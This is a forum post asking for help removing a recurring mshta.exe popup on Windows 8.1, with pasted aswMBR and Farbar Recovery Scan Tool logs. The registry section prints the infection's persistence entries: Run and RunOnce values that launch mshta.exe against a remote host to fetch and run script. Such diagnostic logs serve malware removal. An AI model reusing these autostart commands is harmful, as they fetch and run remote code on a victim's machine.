mshta.exe virus [Closed]

A popup keeps appearing on my desktop even though I end the mshta process that causes it and I was wondering what I could do to remove it. I've tried running mbam and all the other programs but it would always come back. The system is 8.1 however so running combofix would be impossible. In any case here are some similar cases that were solved that I found and I've also attached the logs for aswMBR and FRST64.

http://forums.whatthetech.com/index.php?showtopic=125485

Logs:

aswMBR

Run date: 2015-05-17 17:11:28

—————————–

17:11:28.651 OS Version: Windows x64 6.2.9200

17:11:28.651 Number of processors: 4 586 0x4501

17:11:28.651 ComputerName: GAKUSURFACE UserName: Gaku

17:11:28.909 Initialize success

17:11:28.950 VM: initialized successfully

17:11:28.950 VM: Intel CPU supported

17:11:30.295 VM: supported disk I/O storport.sys

17:12:58.616 AVAST engine defs: 15051701

17:13:58.075 The log file has been saved successfully to "C:\Users\Gaku\Desktop\aswMBR.txt"

FRST64

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 16-05-2015 02

Ran by [removed] (administrator) on GAKUSURFACE on 17-05-2015 17:15:09

Running from C:\Users\[removed]\Downloads

[removed]

Platform: Windows 8.1 Pro (X64) OS Language: English (United States)

Internet Explorer Version 11 (Default browser: Chrome)

Boot Mode: Normal

Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe

(Microsoft Corporation) C:\Windows\System32\dasHost.exe

(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe

(Sony Corporation) C:\Program Files (x86)\Sony\PlayMemories Home\PMBDeviceInfoProvider.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe

(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe

(Microsoft Corporation) C:\Windows\System32\dllhost.exe

(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe

(Microsoft Corporation) C:\Windows\System32\InputMethod\JPN\JpnIME.exe

(Microsoft Corporation) C:\Program Files\Microsoft Office\Office15\ONENOTEM.EXE

(Sony Corporation) C:\Program Files (x86)\Sony\PlayMemories Home\PMBVolumeWatcher.exe

(Brother Industries, Ltd.) C:\Program Files (x86)\Browny02\Brother\BrStMonW.exe

(Brother Industries, Ltd.) C:\Program Files (x86)\Browny02\BrYNSvc.exe

(Sony Corporation) C:\Program Files (x86)\Common Files\Sony Shared\SOHLib\SOHDms.exe

(Sony Corporation) C:\Program Files\Common Files\Sony Shared\VAIO Entertainment Platform\SPF\SpfService64.exe

(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Microsoft Corporation) C:\Windows\System32\mshta.exe

(AVAST Software) C:\Users\Gaku\Downloads\aswMBR (1).exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM-x32\…\Run: [PMBVolumeWatcher] => C:\Program Files (x86)\Sony\PlayMemories Home\PMBVolumeWatcher.exe [2728472 2014-12-16] (Sony Corporation)

HKLM-x32\…\Run: [BrStsMon00] => C:\Program Files (x86)\Browny02\Brother\BrStMonW.exe [3076096 2012-06-06] (Brother Industries, Ltd.)

HKU\S-1-5-21-343341084-3839607544-2116962086-1001\…\Run: [SystemBootJ9aGYL4vo1WIAY2KMkWW0oO3cu035A1s] => mshta.exe http://hgf.nxcrf.me/reg2.php?cccid=J9aGYL4vo1WIAY2KMkWW0oO3cu035A1s&log;=1

HKU\S-1-5-21-343341084-3839607544-2116962086-1001\…\Run: [RegWriteJ9aGYL4vo1WIAY2KMkWW0oO3cu035A1s] => mshta.exe http://hgf.nxcrf.me/set_inf2.php?cccid=J9aGYL4vo1WIAY2KMkWW0oO3cu035A1s

HKU\S-1-5-21-343341084-3839607544-2116962086-1001\…\RunOnce: [RegWriteJ9aGYL4vo1WIAY2KMkWW0oO3cu035A1s] => mshta.exe http://hgf.nxcrf.me/set_inf2.php?cccid=J9aGYL4vo1WIAY2KMkWW0oO3cu035A1s

HKU\S-1-5-21-343341084-3839607544-2116962086-1001\…\MountPoints2: {8b71e4a0-7859-11e4-8259-600292aba7f8} - "D:\LaunchU3.exe" -a

HKU\S-1-5-18\…\RunOnce: [Application Restart #0] => C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe [372400 2014-10-28] (Microsoft Corporation)

Startup: C:\Users\Gaku\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk [2014-11-30]

ShortcutTarget: Send to OneNote.lnk -> C:\Program Files\Microsoft Office\Office15\ONENOTEM.EXE (Microsoft Corporation)

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =

SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =

SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =

BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office15\OCHelper.dll [2015-03-31] (Microsoft Corporation)

BHO: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office15\GROOVEEX.DLL [2015-04-14] (Microsoft Corporation)

BHO-x32: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office15\GROOVEEX.DLL [2015-04-14] (Microsoft Corporation)

Handler: osf - {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office\Office15\MSOSB.DLL [2014-10-15] (Microsoft Corporation)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1

FireFox:

========

FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-23] (Microsoft Corporation)

FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2015-03-31] (Microsoft Corporation)

FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-22] (Microsoft Corporation)

FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.27.5\npGoogleUpdate3.dll [2015-05-17] (Google Inc.)

FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.27.5\npGoogleUpdate3.dll [2015-05-17] (Google Inc.)

FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll [2015-03-31] (Microsoft Corporation)

Chrome:

=======

CHR Profile: C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default

CHR Extension: (Google Slides) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-05-17]

CHR Extension: (Google Docs) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-05-17]

CHR Extension: (Google Drive) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-05-17]

CHR Extension: (YouTube) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-05-17]

CHR Extension: (Google Search) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-05-17]

CHR Extension: (Google Sheets) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-05-17]

CHR Extension: (AdBlock) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2015-05-17]

CHR Extension: (Bookmark Manager) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\gmlllbghnfkpflemihljekbapjopfjik [2015-05-17]

CHR Extension: (Chrome Hotword Shared Module) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg [2015-05-17]

CHR Extension: (Google Wallet) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-05-17]

CHR Extension: (Gmail) - C:\Users\Gaku\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-05-17]

==================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R3 BrYNSvc; C:\Program Files (x86)\Browny02\BrYNSvc.exe [266240 2012-06-05] (Brother Industries, Ltd.) [File not signed]

S3 BthHFSrv; C:\Windows\System32\BthHFSrv.dll [324608 2014-10-28] (Microsoft Corporation)

R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2015-04-14] (Malwarebytes Corporation)

R2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [1080120 2015-04-14] (Malwarebytes Corporation)

R2 PMBDeviceInfoProvider; C:\Program Files (x86)\Sony\PlayMemories Home\PMBDeviceInfoProvider.exe [487960 2014-12-16] (Sony Corporation)

R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [366520 2015-02-03] (Microsoft Corporation)

R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [23792 2015-02-03] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

S3 AX88772; C:\Windows\system32\DRIVERS\ax88772.sys [113864 2013-07-18] (ASIX Electronics Corp.)

R3 BthLEEnum; C:\Windows\system32\DRIVERS\BthLEEnum.sys [226304 2014-05-08] (Microsoft Corporation)

R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [24568 2013-10-07] (Intel Corporation)

R3 iaLPSS_I2C; C:\Windows\System32\drivers\iaLPSS_I2C.sys [99320 2013-10-07] (Intel Corporation)

R3 MBAMProtector; C:\windows\system32\drivers\mbam.sys [25816 2015-04-14] (Malwarebytes Corporation)

R3 MBAMSwissArmy; C:\windows\system32\drivers\MBAMSwissArmy.sys [136408 2015-05-17] (Malwarebytes Corporation)

R3 MBAMWebAccessControl; C:\windows\system32\drivers\mwac.sys [64216 2015-04-14] (Malwarebytes Corporation)

R3 MEIx64; C:\Windows\System32\drivers\TeeDriverx64.sys [100312 2014-01-31] (Intel Corporation)

R3 mrvlpcie8897; C:\Windows\system32\DRIVERS\mrvlpcie8897.sys [1002496 2014-12-24] (Marvell Semiconductors Inc.)

R3 SensorsHIDClassDriver; C:\Windows\System32\drivers\WUDFRd.sys [226304 2014-10-28] (Microsoft Corporation)

R3 SensorsServiceDriver; C:\Windows\System32\drivers\WUDFRd.sys [226304 2014-10-28] (Microsoft Corporation)

R3 SurfaceAccessoryDevice; C:\Windows\System32\drivers\SurfaceAccessoryDevice.sys [51856 2014-05-30] (Microsoft Corporation)

R3 SurfaceCapacitiveHomeButton; C:\Windows\System32\drivers\SurfaceCapacitiveHomeButton.sys [44152 2014-11-27] (Microsoft Corporation)

R3 SurfaceDisplayCalibration; C:\Windows\System32\drivers\SurfaceDisplayCalibration.sys [41616 2014-05-02] (Microsoft Corporation)

R3 SurfaceIntegrationDriver; C:\Windows\System32\drivers\SurfaceIntegrationDriver.sys [49776 2014-12-09] (Microsoft Corporation)

R0 SurfacePciController; C:\Windows\System32\drivers\SurfacePciController.sys [35440 2014-10-08] (Microsoft Corporation)

R3 SurfacePenDriver; C:\Windows\system32\DRIVERS\SurfacePenDriver.sys [76424 2015-03-31] (Microsoft Corporation)

S3 SurfaceTouchCover; C:\Windows\System32\drivers\SurfaceTouchCover.sys [35976 2014-04-14] (Microsoft Corporation)

S3 SurfaceTypeCover; C:\Windows\System32\drivers\SurfaceTypeCover.sys [35984 2014-03-19] (Microsoft Corporation)

R3 TrueColor; C:\Windows\system32\DRIVERS\TrueColor.sys [35952 2014-07-07] ()

U3 TrueSight; C:\Windows\System32\drivers\TrueSight.sys [35064 2015-05-17] ()

R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [114496 2015-02-03] (Microsoft Corporation)

R3 WiFiClass; C:\Windows\system32\DRIVERS\wificlass.sys [411648 2014-12-24] (Microsoft Corporation)

S3 intaud_WaveExtensible; \SystemRoot\system32\drivers\intelaud.sys [X]

S3 iwdbus; \SystemRoot\System32\drivers\iwdbus.sys [X]

U3 aswMBR; \??\C:\Users\Gaku\AppData\Local\Temp\aswMBR.sys [X]

U3 aswVmm; \??\C:\Users\Gaku\AppData\Local\Temp\aswVmm.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-05-17 17:15 - 2015-05-17 17:15 - 00012241 _____ () C:\Users\Gaku\Downloads\FRST.txt

2015-05-17 17:14 - 2015-05-17 17:15 - 00000000 ____D () C:\FRST

2015-05-17 17:13 - 2015-05-17 17:13 - 00000605 _____ () C:\Users\Gaku\Desktop\aswMBR.txt

2015-05-17 17:04 - 2015-05-17 17:04 - 05198336 _____ (AVAST Software) C:\Users\Gaku\Downloads\aswMBR (1).exe

2015-05-17 17:04 - 2015-05-17 17:04 - 02107392 _____ (Farbar) C:\Users\Gaku\Downloads\FRST64.exe

2015-05-17 16:13 - 2015-05-17 16:59 - 00000000 ____D () C:\AdwCleaner

2015-05-17 16:13 - 2015-05-17 16:13 - 02209792 _____ () C:\Users\Gaku\Downloads\AdwCleaner.exe

2015-05-17 16:10 - 2015-05-17 16:10 - 05623645 _____ (Swearware) C:\Users\Gaku\Downloads\ComboFix.exe

2015-05-17 16:08 - 2015-05-17 16:49 - 00035064 _____ () C:\windows\system32\Drivers\TrueSight.sys

2015-05-17 16:08 - 2015-05-17 16:14 - 00000000 ____D () C:\ProgramData\RogueKiller

2015-05-17 16:07 - 2015-05-17 16:07 - 16971864 _____ () C:\Users\Gaku\Downloads\RogueKiller.exe

2015-05-17 15:51 - 2015-05-17 15:51 - 05198336 _____ (AVAST Software) C:\Users\Gaku\Downloads\aswMBR.exe

2015-05-17 15:49 - 2015-05-17 15:50 - 04197016 _____ (Kaspersky Lab ZAO) C:\Users\Gaku\Downloads\tdsskiller.exe

2015-05-17 15:45 - 2015-05-17 15:45 - 00002282 _____ () C:\Users\Public\Desktop\Google Chrome.lnk

2015-05-17 15:45 - 2015-05-17 15:45 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome

2015-05-17 15:44 - 2015-05-17 17:00 - 00000926 _____ () C:\windows\Tasks\GoogleUpdateTaskMachineCore.job

2015-05-17 15:44 - 2015-05-17 16:54 - 00000930 _____ () C:\windows\Tasks\GoogleUpdateTaskMachineUA.job

2015-05-17 15:44 - 2015-05-17 15:49 - 00003902 _____ () C:\windows\System32\Tasks\GoogleUpdateTaskMachineUA

2015-05-17 15:44 - 2015-05-17 15:49 - 00003666 _____ () C:\windows\System32\Tasks\GoogleUpdateTaskMachineCore

2015-05-17 15:44 - 2015-05-17 15:45 - 00000000 ____D () C:\Users\Gaku\AppData\Local\Google

2015-05-17 15:44 - 2015-05-17 15:45 - 00000000 ____D () C:\Program Files (x86)\Google

2015-05-17 15:31 - 2015-05-17 17:00 - 00136408 _____ (Malwarebytes Corporation) C:\windows\system32\Drivers\MBAMSwissArmy.sys

2015-05-17 15:31 - 2015-05-17 15:31 - 00001121 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk

2015-05-17 15:31 - 2015-05-17 15:31 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware

2015-05-17 15:31 - 2015-05-17 15:31 - 00000000 ____D () C:\ProgramData\Malwarebytes

2015-05-17 15:31 - 2015-05-17 15:31 - 00000000 ____D () C:\Program Files (x86)\Malwarebytes Anti-Malware

2015-05-17 15:31 - 2015-04-14 09:38 - 00064216 _____ (Malwarebytes Corporation) C:\windows\system32\Drivers\mwac.sys

2015-05-17 15:31 - 2015-04-14 09:37 - 00107736 _____ (Malwarebytes Corporation) C:\windows\system32\Drivers\mbamchameleon.sys

2015-05-17 15:31 - 2015-04-14 09:37 - 00025816 _____ (Malwarebytes Corporation) C:\windows\system32\Drivers\mbam.sys

2015-05-17 15:30 - 2015-05-17 15:30 - 21546080 _____ (Malwarebytes Corporation ) C:\Users\Gaku\Downloads\mbam-setup-2.1.6.1022.exe

2015-05-17 10:09 - 2015-05-17 17:10 - 00003648 _____ () C:\windows\System32\Tasks\RegWrite

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-05-17 17:10 - 2014-11-30 00:29 - 00003598 _____ () C:\windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-343341084-3839607544-2116962086-1001

2015-05-17 17:04 - 2014-12-02 22:06 - 00479524 _____ () C:\windows\system32\perfh011.dat

2015-05-17 17:04 - 2014-12-02 22:06 - 00127884 _____ () C:\windows\system32\perfc011.dat

2015-05-17 17:04 - 2014-05-08 23:06 - 01416534 _____ () C:\windows\system32\PerfStringBackup.INI

2015-05-17 17:03 - 2014-11-30 11:16 - 00000000 ____D () C:\Users\Gaku\OneDrive

2015-05-17 17:00 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\sru

2015-05-17 16:59 - 2014-05-08 22:57 - 00025086 _____ () C:\windows\PFRO.log

2015-05-17 16:59 - 2013-08-22 10:46 - 00041619 _____ () C:\windows\setupact.log

2015-05-17 16:59 - 2013-08-22 10:45 - 00000006 ____H () C:\windows\Tasks\SA.DAT

2015-05-17 16:59 - 2013-08-22 09:25 - 00524288 ___SH () C:\windows\system32\config\BBI

2015-05-17 16:56 - 2014-11-30 00:23 - 01785934 _____ () C:\windows\WindowsUpdate.log

2015-05-17 16:47 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\AppReadiness

2015-05-17 16:46 - 2014-11-30 11:23 - 00000000 ___RD () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013

2015-05-17 16:46 - 2014-11-30 11:21 - 00000000 ____D () C:\ProgramData\Microsoft Help

2015-05-17 16:45 - 2013-08-22 11:20 - 00000000 ____D () C:\windows\CbsTemp

2015-05-17 16:07 - 2014-11-30 00:32 - 00003934 _____ () C:\windows\System32\Tasks\User_Feed_Synchronization-{496A1CC0-D2E5-4EEB-863C-BC5607BC8ABD}

2015-04-22 04:11 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\rescache

2015-04-19 07:00 - 2014-11-30 11:18 - 00000000 ____D () C:\# Crack

2015-04-18 08:47 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\AppCompat

2015-04-18 07:34 - 2013-08-22 11:37 - 00003223 _____ () C:\windows\DtcInstall.log

2015-04-18 07:28 - 2014-12-21 15:07 - 00000000 ____D () C:\windows\system32\appraiser

2015-04-18 07:28 - 2014-11-30 02:16 - 00000000 ___SD () C:\windows\system32\CompatTel

2015-04-18 07:28 - 2013-08-22 15:11 - 00000000 __SHD () C:\windows\BitLockerDiscoveryVolumeContents

2015-04-18 07:28 - 2013-08-22 15:11 - 00000000 ____D () C:\Program Files\Windows Journal

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___SD () C:\windows\system32\dsc

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\windows\ToastData

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\windows\ImmersiveControlPanel

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ___RD () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\SysWOW64\sppui

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\SysWOW64\setup

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\SysWOW64\migwiz

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\SysWOW64\Com

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\WinBioPlugIns

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\SystemResetPlatform

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\sppui

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\setup

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\migwiz

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\system32\Com

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\PolicyDefinitions

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\MediaViewer

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\IME

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\FileManager

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\windows\Camera

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files\WindowsPowerShell

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files\Windows Portable Devices

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files\Windows Photo Viewer

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files\Windows Multimedia Platform

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files\Common Files\System

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files (x86)\Windows Portable Devices

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files (x86)\Windows Photo Viewer

2015-04-18 07:28 - 2013-08-22 11:36 - 00000000 ____D () C:\Program Files (x86)\Windows Multimedia Platform

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\SysWOW64\oobe

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\SysWOW64\Dism

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\system32\Sysprep

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\system32\oobe

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\system32\Dism

2015-04-18 07:28 - 2013-08-22 09:36 - 00000000 ____D () C:\windows\servicing

2015-04-18 07:23 - 2014-11-30 11:33 - 00000000 ____D () C:\windows\AutoKMS

==================== Files in the root of some directories =======

2014-05-08 22:58 - 2014-05-08 22:58 - 0000000 ____H () C:\ProgramData\DP45977C.lfl

Some content of TEMP:

====================

C:\Users\Gaku\AppData\Local\Temp\dllnt_dump.dll

C:\Users\Gaku\AppData\Local\Temp\Quarantine.exe

C:\Users\Gaku\AppData\Local\Temp\sqlite3.dll

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\System32\winlogon.exe => File is digitally signed

C:\Windows\System32\wininit.exe => File is digitally signed

C:\Windows\explorer.exe => File is digitally signed

C:\Windows\SysWOW64\explorer.exe => File is digitally signed

C:\Windows\System32\svchost.exe => File is digitally signed

C:\Windows\SysWOW64\svchost.exe => File is digitally signed

C:\Windows\System32\services.exe => File is digitally signed

C:\Windows\System32\User32.dll => File is digitally signed

C:\Windows\SysWOW64\User32.dll => File is digitally signed

C:\Windows\System32\userinit.exe => File is digitally signed

C:\Windows\SysWOW64\userinit.exe => File is digitally signed

C:\Windows\System32\rpcss.dll => File is digitally signed

C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-05-16 11:10

==================== End Of Log ============================

Addition

Additional scan result of Farbar Recovery Scan Tool (x64) Version: 16-05-2015 02

Ran by [removed] at 2015-05-17 17:15:32

Running from C:\Users\[removed]\Downloads

Boot Mode: Normal

==========================================================

==================== Accounts: =============================

Administrator (S-1-5-21-343341084-3839607544-2116962086-500 - Administrator - Disabled)

Gaku (S-1-5-21-343341084-3839607544-2116962086-1001 - Administrator - Enabled) => C:\Users\Gaku

Guest (S-1-5-21-343341084-3839607544-2116962086-501 - Limited - Disabled)

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

Google Chrome (HKLM-x32\…\Google Chrome) (Version: 42.0.2311.152 - Google Inc.)

Google Update Helper (x32 Version: 1.3.27.5 - Google Inc.) Hidden

HL-5470DW (HKLM-x32\…\{7171B206-5C5A-4B7F-B9E1-1F1827FC769F}) (Version: 1.1.7.0 - Brother Industries, Ltd.)

Malwarebytes Anti-Malware version 2.1.6.1022 (HKLM-x32\…\Malwarebytes Anti-Malware_is1) (Version: 2.1.6.1022 - Malwarebytes Corporation)

MergeModule_x64 (Version: 9.1.00 - Sony Corporation) Hidden

MergeModule_x86 (x32 Version: 9.1.00 - Sony Corporation) Hidden

Microsoft Office Professional Plus 2013 (HKLM\…\Office15.PROPLUS) (Version: 15.0.4569.1506 - Microsoft Corporation)

Microsoft Office 校正ツール 2013 - 日本語 (HKLM\…\{90150000-001F-0411-1000-0000000FF1CE}) (Version: 15.0.4569.1506 - Microsoft Corporation)

Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\…\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\…\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\…\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\…\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual Studio 2010 Tools for Office Runtime (x64) (HKLM\…\Microsoft Visual Studio 2010 Tools for Office Runtime (x64)) (Version: 10.0.50903 - Microsoft Corporation)

Outils de vérification linguistique 2013 de Microsoft Office - Français (Version: 15.0.4569.1506 - Microsoft Corporation) Hidden

PlayMemories Home (HKLM-x32\…\{93AA5B49-0994-4EF6-80F3-868C9CEA88ED}) (Version: 4.1.00.12152 - Sony Corporation)

PMB_ModeEditor (x32 Version: 9.1.00 - Sony Corporation) Hidden

PMB_ServiceUploader (x32 Version: 9.1.00 - Sony Corporation) Hidden

Service Pack 1 for Microsoft Office 2013 (KB2850036) 64-Bit Edition (HKLM\…\{90150000-0011-0000-1000-0000000FF1CE}_Office15.PROPLUS_{D82063A8-7C8C-4C3B-A9BB-95138CA55D26}) (Version: - Microsoft)

Service Pack 1 for Microsoft Office 2013 (KB2850036) 64-Bit Edition (Version: - Microsoft) Hidden

SOHLib for PlayMemories Home (Version: 1.0.3.02170 - Sony Corporation) Hidden

Update for Japanese Microsoft IME Postal Code Dictionary (HKLM\…\{1B2C85A0-2B9E-4291-8B37-468D57503E98}) (Version: 16.0.1171.1 - Microsoft Corporation)

